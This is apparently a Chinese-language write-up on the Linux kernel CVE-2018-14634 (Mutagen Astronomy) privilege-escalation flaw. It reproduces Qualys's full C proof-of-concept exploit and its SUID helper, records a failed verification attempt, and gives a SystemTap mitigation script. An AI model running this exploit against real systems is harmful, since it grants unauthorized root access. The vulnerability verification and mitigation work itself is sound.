CVE-2018-14634(Mutagen Astronomy)漏洞及修复验证
1.漏洞背景
该漏洞于2018-09-25发布，在linux内核的create_elf_tables（）函数中发现一个整数溢出漏洞。
非特权本地用户可以利用具备SUID（或其它权限）权限的二进制文件在系统上利用该漏洞进行提权。
严重程度为：高
2.影响版本
该漏洞仅影响64位Linux操作系统，涉及Kernel版本：2.6.x、3.10.x、4.14.x，目前确定影响的操作系统为CentOS和RedHat,Red Hat Enterprise MRG 2 、Red Hat Enterprise Linux 6
https://nvd.nist.gov/vuln/detail/CVE-2018-14634
3.漏洞验证
我们利用execve()执行一个SUID-root的二进制文件，其中包含0x80000000的"item",大约0x80000000 * sizeof(char *) = 16GB的参数指针，16GB的参数字符串，16GB的环境串。 我们的exploit仅需要 2 * 16 = 32GB的内容，不需要3倍或4倍，因为我们利用了一些技巧减少内存的占用（例如我们利用16GB的参数指针替换为等效的文件支持的映射，而不消耗内存）。
利用函数create_elf_tables()整数溢出。PoC在这中情况下，执行SUID-root二进制文件（poc-suidbin.c）的main()。
poc-suidbbin.c
# gcc -O0 -o poc-suidbin poc-suidbin.c
# chown root poc-suidbin
# chmod 4555 poc-suidbin
/*
* poc-suidbin.c for CVE-2018-14634
* Copyright (C) 2018 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
int
main(const int argc, const char * const * const argv, const char * const * const envp)
{
printf("argc %d\n", argc);
char stack = '\0';
printf("stack %p < %p < %p < %p < %p\n", &stack, argv, envp, *argv, *envp);
#define LLP "LD_LIBRARY_PATH"
const char * const llp = getenv(LLP);
printf("getenv %p %s\n", llp, llp);
const char * const * env;
for (env = envp; *env; env++) {
if (!strncmp(*env, LLP, sizeof(LLP)-1)) {
printf("%p %s\n", *env, *env);
}
}
exit(EXIT_SUCCESS);
}
poc-exploit.c
time ./poc-exploit
/*
* poc-exploit.c for CVE-2018-14634
* Copyright (C) 2018 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <limits.h>
#include <paths.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#define MAPCOUNT_ELF_CORE_MARGIN (5)
#define DEFAULT_MAX_MAP_COUNT (USHRT_MAX - MAPCOUNT_ELF_CORE_MARGIN)
#define PAGESZ ((size_t)4096)
#define MAX_ARG_STRLEN ((size_t)128 << 10)
#define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF)
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
int
main(void)
{
if (sizeof(size_t) != sizeof(uint64_t)) die();
const size_t alpha = 512;
const size_t sprand = 8192;
const size_t beta = (size_t)9 << 10;
const size_t items = (size_t)1 << 31;
const size_t offset = items * sizeof(uintptr_t);
#define LLP "LD_LIBRARY_PATH=."
static char preload_env[MAX_ARG_STRLEN];
{
char * const sp = stpcpy(preload_env, "LD_PRELOAD=");
char * cp = preload_env + sizeof(preload_env);
size_t n;
for (n = 1; n <= (size_t)(cp - sp) / sizeof(LLP); n++) {
size_t i;
for (i = n; i; i--) {
*--cp = (n == 1) ? '\0' : (i == n) ? ':' : '0';
cp -= sizeof(LLP)-1;
memcpy(cp, LLP, sizeof(LLP)-1);
}
}
memset(sp, ':', (size_t)(cp - sp));
if (memchr(preload_env, '\0', sizeof(preload_env)) !=
preload_env + sizeof(preload_env)-1) die();
}
const char * const protect_envp[] = {
preload_env,
};
const size_t protect_envc = sizeof(protect_envp) / sizeof(protect_envp[0]);
size_t _protect_envsz = 0;
{
size_t i;
for (i = 0; i < protect_envc; i++) {
_protect_envsz += strlen(protect_envp[i]) + 1;
}
}
const size_t protect_envsz = _protect_envsz;
const size_t scratch_envsz = (size_t)1 << 20;
const size_t scratch_envc = scratch_envsz / MAX_ARG_STRLEN;
if (scratch_envsz % MAX_ARG_STRLEN) die();
static char scratch_env[MAX_ARG_STRLEN];
memset(scratch_env, ' ', sizeof(scratch_env)-1);
const size_t onebyte_envsz = (size_t)256 << 10;
const size_t onebyte_envc = onebyte_envsz / 1;
const size_t padding_envsz = offset + alpha;
/***/ size_t padding_env_rem = padding_envsz % MAX_ARG_STRLEN;
const size_t padding_envc = padding_envsz / MAX_ARG_STRLEN + !!padding_env_rem;
static char padding_env[MAX_ARG_STRLEN];
memset(padding_env, ' ', sizeof(padding_env)-1);
static char padding_env1[MAX_ARG_STRLEN];
if (padding_env_rem) memset(padding_env1, ' ', padding_env_rem-1);
const size_t envc = protect_envc + scratch_envc + onebyte_envc + padding_envc;
if (envc > MAX_ARG_STRINGS) die();
const size_t argc = items - (1 + 1 + envc + 1);
if (argc > MAX_ARG_STRINGS) die();
const char * const protect_argv[] = {
"./poc-suidbin",
};
const size_t protect_argc = sizeof(protect_argv) / sizeof(protect_argv[0]);
if (protect_argc >= argc) die();
size_t _protect_argsz = 0;
{
size_t i;
for (i = 0; i < protect_argc; i++) {
_protect_argsz += strlen(protect_argv[i]) + 1;
}
}
const size_t protect_argsz = _protect_argsz;
const size_t padding_argc = argc - protect_argc;
const size_t padding_argsz = (offset - beta) - (alpha + sprand / 2 +
protect_argsz + protect_envsz + scratch_envsz + onebyte_envsz / 2);
const size_t padding_arg_len = padding_argsz / padding_argc;
/***/ size_t padding_arg_rem = padding_argsz % padding_argc;
if (padding_arg_len >= MAX_ARG_STRLEN) die();
if (padding_arg_len < 1) die();
static char padding_arg[MAX_ARG_STRLEN];
memset(padding_arg, ' ', padding_arg_len-1);
static char padding_arg1[MAX_ARG_STRLEN];
memset(padding_arg1, ' ', padding_arg_len);
const char ** const envp = calloc(envc + 1, sizeof(char *));
if (!envp) die();
{
size_t envi = 0;
size_t i;
for (i = 0; i < protect_envc; i++) {
envp[envi++] = protect_envp[i];
}
for (i = 0; i < scratch_envc; i++) {
envp[envi++] = scratch_env;
}
for (i = 0; i < onebyte_envc; i++) {
envp[envi++] = "";
}
for (i = 0; i < padding_envc; i++) {
if (padding_env_rem) {
envp[envi++] = padding_env1;
padding_env_rem = 0;
} else {
envp[envi++] = padding_env;
}
}
if (envi != envc) die();
if (envp[envc] != NULL) die();
if (padding_env_rem) die();
}
const size_t filemap_size = ((padding_argc - padding_arg_rem) * sizeof(char *) / (DEFAULT_MAX_MAP_COUNT / 2) + PAGESZ-1) & ~(PAGESZ-1);
const size_t filemap_nptr = filemap_size / sizeof(char *);
char filemap_name[] = _PATH_TMP "argv.XXXXXX";
const int filemap_fd = mkstemp(filemap_name);
if (filemap_fd <= -1) die();
if (unlink(filemap_name)) die();
{
size_t i;
for (i = 0; i < filemap_nptr; i++) {
const char * const ptr = padding_arg;
if (write(filemap_fd, &ptr, sizeof(ptr)) != (ssize_t)sizeof(ptr)) die();
}
}
{
struct stat st;
if (fstat(filemap_fd, &st)) die();
if ((size_t)st.st_size != filemap_size) die();
}
const char ** const argv = mmap(NULL, (argc + 1) * sizeof(char *), PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (argv == MAP_FAILED) die();
if (protect_argc > PAGESZ / sizeof(char *)) die();
if (mmap(argv, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argv) die();
{
size_t argi = 0;
{
size_t i;
for (i = 0; i < protect_argc; i++) {
argv[argi++] = protect_argv[i];
}
}
{
size_t n = padding_argc;
while (n) {
void * const argp = &argv[argi];
if (((uintptr_t)argp & (PAGESZ-1)) == 0) {
if (padding_arg_rem || n < filemap_nptr) {
if (mmap(argp, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argp) die();
} else {
if (mmap(argp, filemap_size, PROT_READ, MAP_FIXED | MAP_PRIVATE, filemap_fd, 0) != argp) die();
argi += filemap_nptr;
n -= filemap_nptr;
continue;
}
}
if (padding_arg_rem) {
argv[argi++] = padding_arg1;
padding_arg_rem--;
} else {
argv[argi++] = padding_arg;
}
n--;
}
}
if (argi != argc) die();
if (argv[argc] != NULL) die();
if (padding_arg_rem) die();
}
{
static const struct rlimit stack_limit = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};
if (setrlimit(RLIMIT_STACK, &stack_limit)) die();
}
execve(argv[0], (char * const *)argv, (char * const *)envp);
die();
}
附：自行搭建虚拟机，验证环境漏洞，验证失败，执行返回已被杀死，考虑可能是exploit对机器内存有要求，需要大于32GB，才能利用该exploit,不知道能不能改成利用小点的内存？估计不能，否则作者也不会挑选2*16GB了
run_poc_exploit_failed.png
4.漏洞缓解措施
第一步：在主机上，以后缀名.stp保存以下内容为文件
// CVE-2018-14634
//
// Theory of operations: adjust the thread's # rlimit-in-effect around
// calls to the vulnerable get_arg_page() function so as to encompass
// the newly required _STK_LIM / 4 * 3 maximum.
// Complication: the rlimit is stored in a current-> structure that
// is shared across the threads of the process. They may concurrently
// invoke this operation.
function clamp_stack_rlim_cur:long ()
%{
struct rlimit *rlim = current->signal->rlim;
unsigned long rlim_cur = READ_ONCE(rlim[RLIMIT_STACK].rlim_cur);
unsigned long limit = _STK_LIM / 4 * 3;
limit *= 4; // multiply it back up, to the scale used by rlim_cur
if (rlim_cur > limit) {
WRITE_ONCE(rlim[RLIMIT_STACK].rlim_cur, limit);
STAP_RETURN(limit);
} else
STAP_RETURN(0);
%}
probe kernel.function("copy_strings").call
{
l = clamp_stack_rlim_cur()
if (l)
printf("lowered process %s(%d) STACK rlim_cur to %p\n",
execname(), pid(), l)
}
probe begin {
printf("CVE-2018-14634 mitigation loaded\n")
}
probe end {
printf("CVE-2018-14634 mitigation unloaded\n")
}
第二步：安装“systemtap”包和所需要的所有依赖。安装参考Red Hat Linux
"SystemTap Beginners Guide"文档中的第二章节 Using SystemTap
第三步：以Root运行命令：stap - g [filename-from-step-1].stp
第四项：如果系统重启，则上述的修改则丢失，需要重新运行脚本。
如果采用kernel module方式运行脚本，需要在一个开发系统上构建该脚本："stap -g -p 4 [filename-from-step-1].stp"，分发该module到所有受影响的系统，运行"staprun -L <module>" 。 这样操作的话，被分发的系统只需要systemtap-runtime包，但是kernel版本需要一致。
参考：
https://seclists.org/oss-sec/2018/q3/274
https://www.anquanke.com/post/id/160762
https://access.redhat.com/security/cve/cve-2018-14634
